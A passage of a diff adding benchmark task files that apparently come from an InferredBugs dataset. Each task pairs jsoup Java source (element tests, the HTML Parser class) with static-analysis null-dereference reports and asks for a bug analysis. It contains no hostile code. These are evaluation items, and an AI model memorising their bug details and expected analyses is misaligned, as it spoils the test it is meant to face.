+        // test for https://github.com/jhy/jsoup/issues/239
+        // can empty an element and append its children to another element
+        Document doc = Jsoup.parse("<div id=1>Text <p>One</p> Text <p>Two</p></div><div id=2></div>");
+        Element div1 = doc.select("div").get(0);
+        Element div2 = doc.select("div").get(1);
+
+        assertEquals(4, div1.childNodeSize());
+        List<Node> children = div1.childNodes();
+        assertEquals(4, children.size());
+
+        div2.insertChildren(0, children);
+
+        assertEquals(0, children.size()); // children is backed by div1.childNodes, moved, so should be 0 now
+        assertEquals(0, div1.childNodeSize());
+        assertEquals(4, div2.childNodeSize());
+        assertEquals("<div id=\"1\"></div>\n<div id=\"2\">\n Text \n <p>One</p> Text \n <p>Two</p>\n</div>",
+            doc.body().html());
+    }
+
+    @Test
+    public void insertChildrenArgumentValidation() {
+        Document doc = Jsoup.parse("<div id=1>Text <p>One</p> Text <p>Two</p></div><div id=2></div>");
+        Element div1 = doc.select("div").get(0);
+        Element div2 = doc.select("div").get(1);
+        List<Node> children = div1.childNodes();
+
+        try {
+            div2.insertChildren(6, children);
+            fail();
+        } catch (IllegalArgumentException e) {}
+
+        try {
+            div2.insertChildren(-5, children);
+            fail();
+        } catch (IllegalArgumentException e) {
+        }
+
+        try {
+            div2.insertChildren(0, (Collection<? extends Node>) null);
+            fail();
+        } catch (IllegalArgumentException e) {
+        }
+    }
+
+    @Test
+    public void insertChildrenAtPosition() {
+        Document doc = Jsoup.parse("<div id=1>Text1 <p>One</p> Text2 <p>Two</p></div><div id=2>Text3 <p>Three</p></div>");
+        Element div1 = doc.select("div").get(0);
+        Elements p1s = div1.select("p");
+        Element div2 = doc.select("div").get(1);
+
+        assertEquals(2, div2.childNodeSize());
+        div2.insertChildren(-1, p1s);
+        assertEquals(2, div1.childNodeSize()); // moved two out
+        assertEquals(4, div2.childNodeSize());
+        assertEquals(3, p1s.get(1).siblingIndex()); // should be last
+
+        List<Node> els = new ArrayList<>();
+        Element el1 = new Element(Tag.valueOf("span"), "").text("Span1");
+        Element el2 = new Element(Tag.valueOf("span"), "").text("Span2");
+        TextNode tn1 = new TextNode("Text4");
+        els.add(el1);
+        els.add(el2);
+        els.add(tn1);
+
+        assertNull(el1.parent());
+        div2.insertChildren(-2, els);
+        assertEquals(div2, el1.parent());
+        assertEquals(7, div2.childNodeSize());
+        assertEquals(3, el1.siblingIndex());
+        assertEquals(4, el2.siblingIndex());
+        assertEquals(5, tn1.siblingIndex());
+    }
+
+    @Test
+    public void insertChildrenAsCopy() {
+        Document doc = Jsoup.parse("<div id=1>Text <p>One</p> Text <p>Two</p></div><div id=2></div>");
+        Element div1 = doc.select("div").get(0);
+        Element div2 = doc.select("div").get(1);
+        Elements ps = doc.select("p").clone();
+        ps.first().text("One cloned");
+        div2.insertChildren(-1, ps);
+
+        assertEquals(4, div1.childNodeSize()); // not moved -- cloned
+        assertEquals(2, div2.childNodeSize());
+        assertEquals("<div id=\"1\">Text <p>One</p> Text <p>Two</p></div><div id=\"2\"><p>One cloned</p><p>Two</p></div>",
+            TextUtil.stripNewlines(doc.body().html()));
+    }
+
+    @Test
+    public void testCssPath() {
+        Document doc = Jsoup.parse("<div id=\"id1\">A</div><div>B</div><div class=\"c1 c2\">C</div>");
+        Element divA = doc.select("div").get(0);
+        Element divB = doc.select("div").get(1);
+        Element divC = doc.select("div").get(2);
+        assertEquals(divA.cssSelector(), "#id1");
+        assertEquals(divB.cssSelector(), "html > body > div:nth-child(2)");
+        assertEquals(divC.cssSelector(), "html > body > div.c1.c2");
+
+        assertTrue(divA == doc.select(divA.cssSelector()).first());
+        assertTrue(divB == doc.select(divB.cssSelector()).first());
+        assertTrue(divC == doc.select(divC.cssSelector()).first());
+    }
+
+
+    @Test
+    public void testClassNames() {
+        Document doc = Jsoup.parse("<div class=\"c1 c2\">C</div>");
+        Element div = doc.select("div").get(0);
+
+        assertEquals("c1 c2", div.className());
+
+        final Set<String> set1 = div.classNames();
+        final Object[] arr1 = set1.toArray();
+        assertTrue(arr1.length==2);
+        assertEquals("c1", arr1[0]);
+        assertEquals("c2", arr1[1]);
+
+        // Changes to the set should not be reflected in the Elements getters
+       	set1.add("c3");
+        assertTrue(2==div.classNames().size());
+        assertEquals("c1 c2", div.className());
+
+        // Update the class names to a fresh set
+        final Set<String> newSet = new LinkedHashSet<>(3);
+        newSet.addAll(set1);
+        newSet.add("c3");
+        
+        div.classNames(newSet);
+
+        
+        assertEquals("c1 c2 c3", div.className());
+
+        final Set<String> set2 = div.classNames();
+        final Object[] arr2 = set2.toArray();
+        assertTrue(arr2.length==3);
+        assertEquals("c1", arr2[0]);
+        assertEquals("c2", arr2[1]);
+        assertEquals("c3", arr2[2]);
+    }
+
+    @Test
+    public void testHashAndEqualsAndValue() {
+        // .equals and hashcode are identity. value is content.
+
+        String doc1 = "<div id=1><p class=one>One</p><p class=one>One</p><p class=one>Two</p><p class=two>One</p></div>" +
+                "<div id=2><p class=one>One</p><p class=one>One</p><p class=one>Two</p><p class=two>One</p></div>";
+
+        Document doc = Jsoup.parse(doc1);
+        Elements els = doc.select("p");
+
+        /*
+        for (Element el : els) {
+            System.out.println(el.hashCode() + " - " + el.outerHtml());
+        }
+
+        0 1534787905 - <p class="one">One</p>
+        1 1534787905 - <p class="one">One</p>
+        2 1539683239 - <p class="one">Two</p>
+        3 1535455211 - <p class="two">One</p>
+        4 1534787905 - <p class="one">One</p>
+        5 1534787905 - <p class="one">One</p>
+        6 1539683239 - <p class="one">Two</p>
+        7 1535455211 - <p class="two">One</p>
+        */
+        assertEquals(8, els.size());
+        Element e0 = els.get(0);
+        Element e1 = els.get(1);
+        Element e2 = els.get(2);
+        Element e3 = els.get(3);
+        Element e4 = els.get(4);
+        Element e5 = els.get(5);
+        Element e6 = els.get(6);
+        Element e7 = els.get(7);
+
+        assertEquals(e0, e0);
+        assertTrue(e0.hasSameValue(e1));
+        assertTrue(e0.hasSameValue(e4));
+        assertTrue(e0.hasSameValue(e5));
+        assertFalse(e0.equals(e2));
+        assertFalse(e0.hasSameValue(e2));
+        assertFalse(e0.hasSameValue(e3));
+        assertFalse(e0.hasSameValue(e6));
+        assertFalse(e0.hasSameValue(e7));
+
+        assertEquals(e0.hashCode(), e0.hashCode());
+        assertFalse(e0.hashCode() == (e2.hashCode()));
+        assertFalse(e0.hashCode() == (e3).hashCode());
+        assertFalse(e0.hashCode() == (e6).hashCode());
+        assertFalse(e0.hashCode() == (e7).hashCode());
+    }
+
+    @Test public void testRelativeUrls() {
+        String html = "<body><a href='./one.html'>One</a> <a href='two.html'>two</a> <a href='../three.html'>Three</a> <a href='//example2.com/four/'>Four</a> <a href='https://example2.com/five/'>Five</a>";
+        Document doc = Jsoup.parse(html, "http://example.com/bar/");
+        Elements els = doc.select("a");
+
+        assertEquals("http://example.com/bar/one.html", els.get(0).absUrl("href"));
+        assertEquals("http://example.com/bar/two.html", els.get(1).absUrl("href"));
+        assertEquals("http://example.com/three.html", els.get(2).absUrl("href"));
+        assertEquals("http://example2.com/four/", els.get(3).absUrl("href"));
+        assertEquals("https://example2.com/five/", els.get(4).absUrl("href"));
+    }
+
+    @Test
+    public void appendMustCorrectlyMoveChildrenInsideOneParentElement() {
+        Document doc = new Document("");
+        Element body = doc.appendElement("body");
+        body.appendElement("div1");
+        body.appendElement("div2");
+        final Element div3 = body.appendElement("div3");
+        div3.text("Check");
+        final Element div4 = body.appendElement("div4");
+
+        ArrayList<Element> toMove = new ArrayList<>();
+        toMove.add(div3);
+        toMove.add(div4);
+
+        body.insertChildren(0, toMove);
+
+        String result = doc.toString().replaceAll("\\s+", "");
+        assertEquals("<body><div3>Check</div3><div4></div4><div1></div1><div2></div2></body>", result);
+    }
+
+    @Test
+    public void testHashcodeIsStableWithContentChanges() {
+        Element root = new Element(Tag.valueOf("root"), "");
+
+        HashSet<Element> set = new HashSet<>();
+        // Add root node:
+        set.add(root);
+
+        root.appendChild(new Element(Tag.valueOf("a"), ""));
+        assertTrue(set.contains(root));
+    }
+
+    @Test
+    public void testNamespacedElements() {
+        // Namespaces with ns:tag in HTML must be translated to ns|tag in CSS.
+        String html = "<html><body><fb:comments /></body></html>";
+        Document doc = Jsoup.parse(html, "http://example.com/bar/");
+        Elements els = doc.select("fb|comments");
+        assertEquals(1, els.size());
+        assertEquals("html > body > fb|comments", els.get(0).cssSelector());
+    }
+
+    @Test
+    public void testChainedRemoveAttributes() {
+        String html = "<a one two three four>Text</a>";
+        Document doc = Jsoup.parse(html);
+        Element a = doc.select("a").first();
+        a
+            .removeAttr("zero")
+            .removeAttr("one")
+            .removeAttr("two")
+            .removeAttr("three")
+            .removeAttr("four")
+            .removeAttr("five");
+        assertEquals("<a>Text</a>", a.outerHtml());
+    }
+
+    @Test
+    public void testLoopedRemoveAttributes() {
+        String html = "<a one two three four>Text</a><p foo>Two</p>";
+        Document doc = Jsoup.parse(html);
+        for (Element el : doc.getAllElements()) {
+            el.clearAttributes();
+        }
+
+        assertEquals("<a>Text</a>\n<p>Two</p>", doc.body().html());
+    }
+
+    @Test
+    public void testIs() {
+        String html = "<div><p>One <a class=big>Two</a> Three</p><p>Another</p>";
+        Document doc = Jsoup.parse(html);
+        Element p = doc.select("p").first();
+
+        assertTrue(p.is("p"));
+        assertFalse(p.is("div"));
+        assertTrue(p.is("p:has(a)"));
+        assertTrue(p.is("p:first-child"));
+        assertFalse(p.is("p:last-child"));
+        assertTrue(p.is("*"));
+        assertTrue(p.is("div p"));
+
+        Element q = doc.select("p").last();
+        assertTrue(q.is("p"));
+        assertTrue(q.is("p ~ p"));
+        assertTrue(q.is("p + p"));
+        assertTrue(q.is("p:last-child"));
+        assertFalse(q.is("p a"));
+        assertFalse(q.is("a"));
+    }
+
+
+    @Test public void elementByTagName() {
+        Element a = new Element("P");
+        assertTrue(a.tagName().equals("P"));
+    }
+
+    @Test public void testChildrenElements() {
+        String html = "<div><p><a>One</a></p><p><a>Two</a></p>Three</div><span>Four</span><foo></foo><img>";
+        Document doc = Jsoup.parse(html);
+        Element div = doc.select("div").first();
+        Element p = doc.select("p").first();
+        Element span = doc.select("span").first();
+        Element foo = doc.select("foo").first();
+        Element img = doc.select("img").first();
+
+        Elements docChildren = div.children();
+        assertEquals(2, docChildren.size());
+        assertEquals("<p><a>One</a></p>", docChildren.get(0).outerHtml());
+        assertEquals("<p><a>Two</a></p>", docChildren.get(1).outerHtml());
+        assertEquals(3, div.childNodes().size());
+        assertEquals("Three", div.childNodes().get(2).outerHtml());
+
+        assertEquals(1, p.children().size());
+        assertEquals("One", p.children().text());
+
+        assertEquals(0, span.children().size());
+        assertEquals(1, span.childNodes().size());
+        assertEquals("Four", span.childNodes().get(0).outerHtml());
+
+        assertEquals(0, foo.children().size());
+        assertEquals(0, foo.childNodes().size());
+        assertEquals(0, img.children().size());
+        assertEquals(0, img.childNodes().size());
+    }
+
+    @Test public void testShadowElementsAreUpdated() {
+        String html = "<div><p><a>One</a></p><p><a>Two</a></p>Three</div><span>Four</span><foo></foo><img>";
+        Document doc = Jsoup.parse(html);
+        Element div = doc.select("div").first();
+        Elements els = div.children();
+        List<Node> nodes = div.childNodes();
+
+        assertEquals(2, els.size()); // the two Ps
+        assertEquals(3, nodes.size()); // the "Three" textnode
+
+        Element p3 = new Element("p").text("P3");
+        Element p4 = new Element("p").text("P4");
+        div.insertChildren(1, p3);
+        div.insertChildren(3, p4);
+        Elements els2 = div.children();
+
+        // first els should not have changed
+        assertEquals(2, els.size());
+        assertEquals(4, els2.size());
+
+        assertEquals("<p><a>One</a></p>\n" +
+            "<p>P3</p>\n" +
+            "<p><a>Two</a></p>\n" +
+            "<p>P4</p>Three", div.html());
+        assertEquals("P3", els2.get(1).text());
+        assertEquals("P4", els2.get(3).text());
+
+        p3.after("<span>Another</span");
+
+        Elements els3 = div.children();
+        assertEquals(5, els3.size());
+        assertEquals("span", els3.get(2).tagName());
+        assertEquals("Another", els3.get(2).text());
+
+        assertEquals("<p><a>One</a></p>\n" +
+            "<p>P3</p>\n" +
+            "<span>Another</span>\n" +
+            "<p><a>Two</a></p>\n" +
+            "<p>P4</p>Three", div.html());
+    }
+
+    @Test public void classNamesAndAttributeNameIsCaseInsensitive() {
+        String html = "<p Class='SomeText AnotherText'>One</p>";
+        Document doc = Jsoup.parse(html);
+        Element p = doc.select("p").first();
+        assertEquals("SomeText AnotherText", p.className());
+        assertTrue(p.classNames().contains("SomeText"));
+        assertTrue(p.classNames().contains("AnotherText"));
+        assertTrue(p.hasClass("SomeText"));
+        assertTrue(p.hasClass("sometext"));
+        assertTrue(p.hasClass("AnotherText"));
+        assertTrue(p.hasClass("anothertext"));
+
+        Element p1 = doc.select(".SomeText").first();
+        Element p2 = doc.select(".sometext").first();
+        Element p3 = doc.select("[class=SomeText AnotherText]").first();
+        Element p4 = doc.select("[Class=SomeText AnotherText]").first();
+        Element p5 = doc.select("[class=sometext anothertext]").first();
+        Element p6 = doc.select("[class=SomeText AnotherText]").first();
+        Element p7 = doc.select("[class^=sometext]").first();
+        Element p8 = doc.select("[class$=nothertext]").first();
+        Element p9 = doc.select("[class^=sometext]").first();
+        Element p10 = doc.select("[class$=AnotherText]").first();
+
+        assertEquals("One", p1.text());
+        assertEquals(p1, p2);
+        assertEquals(p1, p3);
+        assertEquals(p1, p4);
+        assertEquals(p1, p5);
+        assertEquals(p1, p6);
+        assertEquals(p1, p7);
+        assertEquals(p1, p8);
+        assertEquals(p1, p9);
+        assertEquals(p1, p10);
+    }
+
+	@Test
+	public void testAppendTo() {
+		String parentHtml = "<div class='a'></div>";
+		String childHtml = "<div class='b'></div><p>Two</p>";
+
+		Document parentDoc = Jsoup.parse(parentHtml);
+		Element parent = parentDoc.body();
+        Document childDoc = Jsoup.parse(childHtml);
+
+        Element div = childDoc.select("div").first();
+        Element p = childDoc.select("p").first();
+        Element appendTo1 = div.appendTo(parent);
+        assertEquals(div, appendTo1);
+
+        Element appendTo2 = p.appendTo(div);
+        assertEquals(p, appendTo2);
+
+        assertEquals("<div class=\"a\"></div>\n<div class=\"b\">\n <p>Two</p>\n</div>", parentDoc.body().html());
+        assertEquals("", childDoc.body().html()); // got moved out
+	}
+
+	@Test public void testNormalizesNbspInText() {
+        String escaped = "You can't always get what you&nbsp;want.";
+        String withNbsp = "You can't always get what you want."; // there is an nbsp char in there
+        Document doc = Jsoup.parse("<p>" + escaped);
+        Element p = doc.select("p").first();
+        assertEquals("You can't always get what you want.", p.text()); // text is normalized
+
+        assertEquals("<p>" + escaped + "</p>", p.outerHtml()); // html / whole text keeps &nbsp;
+        assertEquals(withNbsp, p.textNodes().get(0).getWholeText());
+        assertEquals(160, withNbsp.charAt(29));
+
+        Element matched = doc.select("p:contains(get what you want)").first();
+        assertEquals("p", matched.nodeName());
+        assertTrue(matched.is(":containsOwn(get what you want)"));
+    }
+
+    @Test public void testNormalizesInvisiblesInText() {
+        // return Character.getType(c) == 16 && (c == 8203 || c == 8204 || c == 8205 || c == 173);
+        String escaped = "This&shy;is&#x200b;one&#x200c;long&#x200d;word";
+        String decoded = "This\u00ADis\u200Bone\u200Clong\u200Dword"; // browser would not display those soft hyphens / other chars, so we don't want them in the text
+
+        Document doc = Jsoup.parse("<p>" + escaped);
+        Element p = doc.select("p").first();
+        doc.outputSettings().charset("ascii"); // so that the outer html is easier to see with escaped invisibles
+        assertEquals("Thisisonelongword", p.text()); // text is normalized
+        assertEquals("<p>" + escaped + "</p>", p.outerHtml()); // html / whole text keeps &shy etc;
+        assertEquals(decoded, p.textNodes().get(0).getWholeText());
+
+        Element matched = doc.select("p:contains(Thisisonelongword)").first(); // really just oneloneword, no invisibles
+        assertEquals("p", matched.nodeName());
+        assertTrue(matched.is(":containsOwn(Thisisonelongword)"));
+
+    }
+	
+	@Test
+	public void testRemoveBeforeIndex() {
+		Document doc = Jsoup.parse(
+	            "<html><body><div><p>before1</p><p>before2</p><p>XXX</p><p>after1</p><p>after2</p></div></body></html>",
+	            "");
+	    Element body = doc.select("body").first();
+	    Elements elems = body.select("p:matchesOwn(XXX)");
+	    Element xElem = elems.first();
+	    Elements beforeX = xElem.parent().getElementsByIndexLessThan(xElem.elementSiblingIndex());
+
+	    for(Element p : beforeX) {
+	        p.remove();
+	    }
+
+	    assertEquals("<body><div><p>XXX</p><p>after1</p><p>after2</p></div></body>", TextUtil.stripNewlines(body.outerHtml()));
+	}
+	
+	@Test
+	public void testRemoveAfterIndex() {
+		 Document doc2 = Jsoup.parse(
+		            "<html><body><div><p>before1</p><p>before2</p><p>XXX</p><p>after1</p><p>after2</p></div></body></html>",
+		            "");
+	    Element body = doc2.select("body").first();
+	    Elements elems = body.select("p:matchesOwn(XXX)");
+	    Element xElem = elems.first();
+	    Elements afterX = xElem.parent().getElementsByIndexGreaterThan(xElem.elementSiblingIndex());
+
+	    for(Element p : afterX) {
+	        p.remove();
+	    }
+
+	    assertEquals("<body><div><p>before1</p><p>before2</p><p>XXX</p></div></body>", TextUtil.stripNewlines(body.outerHtml()));
+	}
+	
+    @Test 
+    public void whiteSpaceClassElement(){
+	    Tag tag = Tag.valueOf("a");
+	    Attributes attribs = new Attributes();
+	    Element el = new Element(tag, "", attribs);
+	    
+	    attribs.put("class", "abc ");
+	    boolean hasClass = el.hasClass("ab");
+	    assertFalse(hasClass);
+	}
+
+	@Test
+    public void testNextElementSiblingAfterClone() {
+        // via https://github.com/jhy/jsoup/issues/951
+        String html = "<!DOCTYPE html><html lang=\"en\"><head></head><body><div>Initial element</div></body></html>";
+        String expectedText = "New element";
+        String cloneExpect = "New element in clone";
+
+        Document original = Jsoup.parse(html);
+        Document clone = original.clone();
+
+        Element originalElement = original.body().child(0);
+        originalElement.after("<div>" + expectedText + "</div>");
+        Element originalNextElementSibling = originalElement.nextElementSibling();
+        Element originalNextSibling = (Element) originalElement.nextSibling();
+        assertEquals(expectedText, originalNextElementSibling.text());
+        assertEquals(expectedText, originalNextSibling.text());
+
+        Element cloneElement = clone.body().child(0);
+        cloneElement.after("<div>" + cloneExpect + "</div>");
+        Element cloneNextElementSibling = cloneElement.nextElementSibling();
+        Element cloneNextSibling = (Element) cloneElement.nextSibling();
+        assertEquals(cloneExpect, cloneNextElementSibling.text());
+        assertEquals(cloneExpect, cloneNextSibling.text());
+    }
+
+    @Test
+    public void testRemovingEmptyClassAttributeWhenLastClassRemoved() {
+        // https://github.com/jhy/jsoup/issues/947
+        Document doc = Jsoup.parse("<img class=\"one two\" />");
+        Element img = doc.select("img").first();
+        img.removeClass("one");
+        img.removeClass("two");
+        assertFalse(doc.body().html().contains("class=\"\""));
+    }
+
+    @Test
+    public void booleanAttributeOutput() {
+        Document doc = Jsoup.parse("<img src=foo noshade='' nohref async=async autofocus=false>");
+        Element img = doc.selectFirst("img");
+
+        assertEquals("<img src=\"foo\" noshade nohref async autofocus=\"false\">", img.outerHtml());
+    }
+
+    @Test
+    public void textHasSpaceAfterBlockTags() {
+        Document doc = Jsoup.parse("<div>One</div>Two");
+        assertEquals("One Two", doc.text());
+    }
+
+    @Test
+    public void testNextElementSiblings() {
+        Document doc = Jsoup.parse("<li id='a'>a</li>" +
+            "<li id='b'>b</li>" +
+            "<li id='c'>c</li>");
+        Element element = doc.getElementById("a");
+        List<Element> elementSiblings = element.nextElementSiblings();
+        assertNotNull(elementSiblings);
+        assertEquals(2, elementSiblings.size());
+
+        Element element1 = doc.getElementById("c");
+        List<Element> elementSiblings1 = element1.nextElementSiblings();
+        assertNull(elementSiblings1);
+    }
+
+    @Test
+    public void testPreviousElementSiblings() {
+        Document doc = Jsoup.parse("<li id='a'>a</li>" +
+            "<li id='b'>b</li>" +
+            "<li id='c'>c</li>");
+        Element element = doc.getElementById("b");
+        List<Element> elementSiblings = element.previousElementSiblings();
+        assertNotNull(elementSiblings);
+        assertEquals(1, elementSiblings.size());
+
+        Element element1 = doc.getElementById("a");
+        List<Element> elementSiblings1 = element1.previousElementSiblings();
+        assertNull(elementSiblings1);
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `elementSiblings` last assigned on line 1333 could be null and is dereferenced at line 1335.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void ElementTest.testNextElementSiblings()
+
+### Procedure Id:
+org.jsoup.nodes.ElementTest.testNextElementSiblings():void.bf77f718a6d39fdca370947bef5f3817
+
+### File:
+src/test/java/org/jsoup/nodes/ElementTest.java
+
+### Key:
+ElementTest.java|testNextElementSiblings|NULL_DEREFERENCE
+
+### Node Key:
+032299521a58ea574b18a1357a739565
+
+### Hash:
+4003154e544e011ab6e00c5cd27c1171
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7770/instruction.md b/inferredbugs-7770/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..fcb1a0dfbe5a66e11e2807c2fd4d0b5ad1dd7eb2
--- /dev/null
+++ b/inferredbugs-7770/instruction.md
@@ -0,0 +1,296 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** jsoup
+**Bug ID:** 2
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.jsoup.parser;
+
+import org.apache.commons.lang.Validate;
+import org.jsoup.nodes.*;
+
+import java.util.*;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+/**
+ Parses HTML into a {@link Document}
+
+ @author Jonathan Hedley, jonathan@hedley.net */
+public class Parser {
+    private static String SQ = "'";
+    private static String DQ = "\"";
+
+    private static Tag htmlTag = Tag.valueOf("html");
+    private static Tag headTag = Tag.valueOf("head");
+    private static Tag bodyTag = Tag.valueOf("body");
+    private static Tag titleTag = Tag.valueOf("title");
+
+    private LinkedList<Element> stack;
+    private TokenQueue tq;
+    private Document doc;
+
+    public Parser(String html) {
+        Validate.notNull(html);
+
+        stack = new LinkedList<Element>();
+        tq = new TokenQueue(html);
+
+        doc = new Document();
+        stack.add(doc);
+        stack.add(doc.getHead());
+    }
+
+    public static Document parse(String html) {
+        Parser parser = new Parser(html);
+        return parser.parse();
+    }
+
+    public Document parse() {
+        while (!tq.isEmpty()) {
+            if (tq.matches("<!--")) {
+                parseComment();
+            } else if (tq.matches("<?") || tq.matches("<!")) {
+                parseXmlDecl();
+            } else if (tq.matches("</")) {
+                parseEndTag();
+            } else if (tq.matches("<")) {
+                parseStartTag();
+            } else {
+                parseTextNode();
+            }
+        }
+        return doc;
+    }
+
+    private void parseComment() {
+        // TODO: this puts comments into nodes that should not hold the (e.g. img).
+        tq.consume("<!--");
+        String data = tq.chompTo("->");
+
+        if (data.endsWith("-")) // i.e. was -->
+            data = data.substring(0, data.length()-1);
+        Comment comment = new Comment(data);
+        last().addChild(comment);
+    }
+
+    private void parseXmlDecl() {
+        tq.consume("<"); tq.consume(); // <? or <!, from initial match.
+        String data = tq.chompTo(">");
+
+        XmlDeclaration decl = new XmlDeclaration(data);
+        last().addChild(decl);
+    }
+
+    private void parseEndTag() {
+        tq.consume("</");
+        String tagName = tq.consumeWord();
+        tq.chompTo(">");
+
+        if (!tagName.isEmpty()) {
+            Tag tag = Tag.valueOf(tagName);
+            Element closed = popStackToClose(tag);
+        }
+    }
+
+    private void parseStartTag() {
+        tq.consume("<");
+        Attributes attributes = new Attributes();
+
+        String tagName = tq.consumeWord();
+        while (!tq.matches("<") && !tq.matches("/>") && !tq.matches(">") && !tq.isEmpty()) {
+            Attribute attribute = parseAttribute();
+            if (attribute != null)
+                attributes.put(attribute);
+        }
+
+        Tag tag = Tag.valueOf(tagName);
+        StartTag startTag = new StartTag(tag, attributes);
+        Element child = new Element(startTag);
+
+        boolean emptyTag;
+        if (tq.matchChomp("/>")) { // empty tag, don't add to stack
+            emptyTag = true;
+        } else {
+            tq.matchChomp(">"); // safe because checked above (or ran out of data)
+            emptyTag = false;
+        }
+
+        // pc data only tags (textarea, script): chomp to end tag, add content as text node
+        if (tag.isData()) {
+            String data = tq.chompTo("</" + tagName);
+            tq.chompTo(">");
+            TextNode textNode = TextNode.createFromEncoded(data);
+            child.addChild(textNode);
+
+            if (tag.equals(titleTag))
+                doc.setTitle(child.text());
+        }
+
+        // switch between html, head, body, to preserve doc structure
+        if (tag.equals(htmlTag)) {
+            doc.getAttributes().mergeAttributes(attributes);
+        } else if (tag.equals(headTag)) {
+            doc.getHead().getAttributes().mergeAttributes(attributes);
+            // head is on stack from start, no action required
+        } else if (last().getTag().equals(headTag) && !headTag.canContain(tag)) {
+            // switch to body
+            stack.removeLast();
+            stack.addLast(doc.getBody());
+            last().addChild(child);
+            if (!emptyTag)
+                stack.addLast(child);
+        } else if (tag.equals(bodyTag) && last().getTag().equals(htmlTag)) {
+            doc.getBody().getAttributes().mergeAttributes(attributes);
+            stack.removeLast();
+            stack.addLast(doc.getBody());
+        } else {
+            Element parent = popStackToSuitableContainer(tag);
+            parent.addChild(child);
+            if (!emptyTag && !tag.isData()) // TODO: only check for data here because last() == head is wrong; should be ancestor is head
+                stack.addLast(child);
+        }
+    }
+
+    private Attribute parseAttribute() {
+        tq.consumeWhitespace();
+        String key = tq.consumeWord();
+        String value = "";
+        tq.consumeWhitespace();
+        if (tq.matchChomp("=")) {
+            tq.consumeWhitespace();
+
+            if (tq.matchChomp(SQ)) {
+                value = tq.chompTo(SQ);
+            } else if (tq.matchChomp(DQ)) {
+                value = tq.chompTo(DQ);
+            } else {
+                StringBuilder valueAccum = new StringBuilder();
+                // no ' or " to look for, so scan to end tag or space (or end of stream)
+                while (!tq.matches("<") && !tq.matches("/>") && !tq.matches(">") && !tq.matchesWhitespace() && !tq.isEmpty()) {
+                    valueAccum.append(tq.consume());
+                }
+                value = valueAccum.toString();
+            }
+            tq.consumeWhitespace();
+        }
+        if (!key.isEmpty())
+            return Attribute.createFromEncoded(key, value);
+        else {
+            tq.consume(); // unknown char, keep popping so not get stuck
+            return null;
+        }
+    }
+
+    private void parseTextNode() {
+        // TODO: work out whitespace requirements (between blocks, between inlines)
+        StringBuilder textAccum = new StringBuilder();
+        while (!tq.matches("<") && !tq.isEmpty()) { // scan to next tag
+            textAccum.append(tq.consume());
+        }
+        TextNode textNode = TextNode.createFromEncoded(textAccum.toString());
+        last().addChild(textNode);
+    }
+
+    private Element popStackToSuitableContainer(Tag tag) {
+        while (!stack.isEmpty()) {
+            if (last().getTag().canContain(tag))
+                return last();
+            else
+                stack.removeLast();
+        }
+        return null;
+    }
+
+    private Element popStackToClose(Tag tag) {
+        // first check to see if stack contains this tag; if so pop to there, otherwise ignore
+        int counter = 0;
+        Element elToClose = null;
+        for (int i = stack.size() -1; i > 0; i--) {
+            counter++;
+            Element el = stack.get(i);
+            if (el.getTag().equals(tag)) {
+                elToClose = el;
+                break;
+            }
+        }
+        if (elToClose != null) {
+            for (int i = 0; i < counter; i++) {
+                stack.removeLast();
+            }
+        }
+        return elToClose;
+    }
+
+    private Element last() {
+        return stack.getLast();
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `parent` last assigned on line 142 could be null and is dereferenced at line 143.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void Parser.parseStartTag()
+
+### Procedure Id:
+org.jsoup.parser.Parser.parseStartTag():void.2eb6a50b5349c716ab22859b69102fe3
+
+### File:
+src/main/java/org/jsoup/parser/Parser.java
+
+### Key:
+Parser.java|parseStartTag|NULL_DEREFERENCE
+
+### Node Key:
+d74069611bcc65648adfc91df7f1c71f
+
+### Hash:
+80b02e41940c52b0c3e5542a27a54c9d
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7771/instruction.md b/inferredbugs-7771/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..568b181366cd72889ee26b340bb1b751449b8d04
--- /dev/null
+++ b/inferredbugs-7771/instruction.md
@@ -0,0 +1,450 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** jsoup
+**Bug ID:** 13
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.jsoup.parser;
+
+import org.apache.commons.lang.Validate;
+
+/**
+ * A character queue with parsing helpers.
+ *
+ * @author Jonathan Hedley
+ */
+public class TokenQueue {
+    private String queue;
+    private int pos = 0;
+    
+    private static final Character ESC = '\\'; // escape char for chomp balanced.
+
+    /**
+     Create a new TokenQueue.
+     @param data string of data to back queue.
+     */
+    public TokenQueue(String data) {
